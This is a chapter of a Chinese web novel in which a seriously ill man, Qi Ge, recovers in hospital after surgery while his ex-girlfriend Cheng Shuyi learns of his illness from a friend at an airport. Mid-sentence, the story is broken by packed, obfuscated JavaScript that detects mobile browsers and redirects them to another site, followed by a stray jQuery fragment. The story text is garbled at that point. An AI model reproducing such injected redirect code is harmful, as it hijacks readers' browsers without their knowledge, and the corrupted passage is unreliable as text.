“不痛。”祁歌说。


    被唤醒之前，他什么梦也没做。


    麻药下的大脑如同死了一般，是他许久未体验过的黑甜乡。


    一时甚至有点留恋。


    再次清醒时身边的一切好像都在旋转，光怪陆离的最后定格在ICU病房一片固定的枯燥视野。他早已失去了明确的时间感知，能明确的只有存在本身。


    这个世界还存在，人类还存在，他自己，还存在。


    清醒的人住在ICU，生存意识被极大地磨灭。


    祁歌每每闭上眼，黑暗中就会浮起许多面孔。不知怎的，每个面孔都从正常温和的人脸变得扭曲可怖，最后将他吓出一身冷汗醒过来，才发现自己是睡着了。


    是恐怖片看多了吗……他有些心悸地想。


    次数多了，醒着的时候也开始不太确定自己是在现实还是在梦中。


    这个离死神最近的病房并不像想象中那样安静。


    有医生和护士在身边来来往往，有各种机器滴滴或轰隆作响，还不时能听到有病人们呻吟或抢救的声音。


    “痛不痛？”有时候看他醒着，父母会在固定探视时这样问他。


    不痛，手术的时候不痛，做梦的时候也不痛。


    不知道过了多久，也不知道什么时候，祁歌发现自己已经回到了普通病房，身边不再空无一人。


    母亲常常陪在病床旁，会笑着看他，让他看窗外的天空，还有手机里的各种小视频。


    小猫跳上桌子时摔了下来，小狗快乐地奔向一片雪地，亲戚家的小外甥女会走路了。


    这感觉就像世界被蒙上了雪花点，但其实正在播放的电视节目从未终止过。


    病房里依然每天都很繁忙。


    “一会儿做腰穿啊！”护士会用这句简单的话给祁歌带来大半天的战战兢兢和心神不宁。


    比起各种检查和治疗带来的折磨，周身突如其来难以预料的疼痛也总在袭击他所剩不多的理智。


    好像这也是他第一次意识到，保持“活着”的状态是一件如此艰难的事。


    “不痛。”祁歌说。


    其实他不确定自己有没有发出声音。


    他把头偏向一边，假装没看到母亲泛红的眼眶，也没看到父亲隔着玻璃的注视。


    后来不知怎的，他陷入漫长反复的发烧，身上总被放着冰袋，脑子也混混沌沌，维持意识都很勉强。


    测体温、抽血、输液……他被转了一次院，好像是因为病床科室什么的原因。


    总之，再次被放在轮床上轧轧而去时，祁歌忽然有种自己已经魂魄离体的错觉，一时以为前进的方向会是太平间。


    那里当然不是太平间，只是一间白色的没窗户的屋子。


    旋转飞逝的光怪陆离的世界之中，他逐渐意识到自己仍有一个完整的躯体，只是没有办法控制它而已。


    而已。


    这个认知让他一点点陷入黑色的沮丧和绝望，便放任这一缕意识在高热中烟消云散。


    祁歌睁开眼睛发了挺久的呆之后，才意识到他的身边坐着一位女医生。


    查房的时候他见过她，是自己的主治医生。


    他的病床周围拉着淡黄色的床帘，他不知道此时是什么时间，只知道自己的心仍浸没在绝望之中，沼泽的黑色触手丝丝缕缕地拉住了他的身体。


    而那位医生什么也没说，只坐在那里静静地注视着祁歌床头的监护器。


    灯光下她的眼睫沉静而安然。


    让祁歌有一点想起了程书仪。


    倘若，倘若她在的话……


    可能也会这样静静地注视着他，他的焦虑、恐惧、患得患失，他的懦弱、延宕、瞻前顾后……她不会贸然做什么评价，只会像这样安静地注视和接纳。


    这可能一直以来，就是程书仪最让他安心的地方。


    他不知道时间过了多久，大概半小时或一小时？那位医生目光一转，发现他醒了，对他轻轻笑了笑，站起了身。


    “怎么样，大夫？”祁歌听到母亲小声问道。


    “别担心，”她说，“血压不稳应该是感染导致的，我现在下医嘱，明天输上血看看。感染会控制住的，药物起效需要时间。”


    “好的，谢谢您，辛苦了这大半夜的……”母亲千恩万谢的声音逐渐小了下去。


    祁歌其实也想说点什么，却没来得及发出声音。


    他的身体好像渐渐从那黑暗沼泽中被捞起来一点，意识却又沉没了，那个黑甜的梦乡终于再一次眷顾了他。


    “你要来机场？”程书仪对着电话惊讶非常，再次确认了一下屏幕上显示着的“阿远”两个字，“不是，什么事这么急啊？”


    “嗯也不算，但是……行吗？”阿远的态度难得非常坚决。


    “……行吧。”


    说实话，程书仪是带着点“我倒要看看你有多大的事儿”的态度配合了阿远在机场的截杀。


    “这里有点吵啊。”


    最后她们坐在咖啡店的小桌子前，头顶响着广播，周围有不少拖着箱子的旅客在轧轧作响的声音里行色匆匆。


    而阿远看起来比任何一位旅客都心绪不宁：“程姐，抱歉这么着急来找你，实在是……哎你先别看手机，现在几点了……”


    “到底怎么了？”程书仪被她唬住了，“别急你慢慢说，发生什么事了？”


    如果是在狗血小说里，她感觉接下来会听到什么关于死亡的噩耗。


    有点吓人了。


    阿远对那个被她推过去的咖啡杯熟视无睹，两只手都交错在桌子上，指节泛白：“程姐，祁哥之前确实瞒了你。”


    “他瞒我什么了？”程书仪问。


    这个瞬间，她脑中想过许多可能，甚至觉得被祁歌骗了感情又骗了钱也行，都算是她可以处理和接受的坏消息。


    但阿远只是告诉她，祁歌生了很严重的病，已经做了手术。


    据说这个病生存率很低，最多也就一两年。


    一两年？


    好消息，这里面没有死刑。坏消息，是个死缓。


    “……不管什么病，也得多看一些医生才行，”程书仪说，“应该早点联系我的，我可以把病历和片子发给专家看看……”


    她再次按亮手机打算在联系人里寻找一下高姐的名字，又忽然想起阿远刚才的话，抬起头来：“你说手术已经做了？”


    阿远点点头：“嗯，手术是……顺利的，不过他现在情况不太好，一直在发烧……”


    “在哪个医院？”程书仪又问，“……算了我自己问高姐。”


    就在程书仪划开手机的瞬间，新的热搜条目被自动推送


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599696|187202||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到了她的屏幕上沿。


    她不由怔住了几秒。


    “……发了，是吗？”阿远看到她的反应，也低头按手机，“他们说今天就要发声明了，所以我……程姐，真的不是我不跟你讲，确实是你回来的这个时间卡得太紧了……”


    “原来如此，”半晌，程书仪笑了一声，“怎么，赶在我看到新闻前告诉我，就不算瞒着我了？”


    “不是不是，”阿远赶紧摆手，“你听我说，我也是后来才知道的，我知道的时候当时就想跟你说了！但你不是说没时间吗？”


    “就这么一件事，需要很多时间吗？”程书仪反问道。


    此刻机场里吵吵嚷嚷，人流穿梭，空气中回荡着各种机械的广播音。


    她们选的这个地方并不怎么适合聊天。


    但这也为她们提高音量提供了完美的借口。


    “不是的，”阿远急着辩解，几乎要站起来，差点打翻了面前的咖啡杯，“姐，我也一直被瞒着，我知道会很生气！因为我就一直都很生气，但是我是最不想瞒着你的……”


    深色的咖啡液被溅出来几滴，落在桌面纯白的餐巾纸上。


    程书仪叹了口气。


    她也说不清自己现在到底是什么心情，可能比起生气，难以置信的情绪还更多点。


    已分手的前男友其实是身患绝症？活不过一两年？


    这种事怎么听都像是编剧为了增加戏剧性或是什么东西，随便编造的一个“梗”。


    理智上，她知道这个所谓的“真相”能解释很多事；但是情感上，她又不想用它来印证任何片段，或是跟任何往事和解。


    毕竟，发生的事已经发生了。


    “我一会儿有个会，晚点吧，晚一点或者明天，我去趟他的医院。”程书仪换了平静的语气对阿远说。


    “我我去过了，其实祁哥现在还没完全清醒……”可能是觉得她生气了，阿远说话间表现出了几分嗫喏。


    “我不是去看他。”程书仪说。


    “啊？”


    程书仪将目光垂落在放在桌上的手机上。


    屏幕里显示着今天的热搜，祁歌的公司发出声明，语焉不详地说祁歌生病手术，现在仍未完全清醒，希望各界朋友们给他一点康复的时间和空间云云。


    她没去点开评论，但想也知道都是些祈祷担忧祝福之辞。


    这些话她不想说，也不想看。


    祈祷，担忧，祝福，又有什么用呢？


    比起去探望，她更想去找祁歌的医生聊聊。


    她不相信事情会毫无转机。


    至于他们之间的感情……是祁歌选择了放弃。


    不管出于什么原因，她不想去左右这个选择。


    “我看看有什么能帮上的。”她说。


    “程姐，”阿远不太确定地望着她，“你还想帮他？算是不计前嫌吗，那你对他……”


    程书仪又一次笑了出来：“帮他是我能力范围内的，这没什么。感情是另一回事，我们分手了，这个事实不会变。”


    阿远重重点头，又重重叹气。


    在这个蹩脚的故事里，她是旁观者，又何尝不是参与者。


    “你呢？”程书仪问，“你说你知道会很生气，那你原谅他了吗？”


    这次换阿远垂下眼睛，半天都没说话。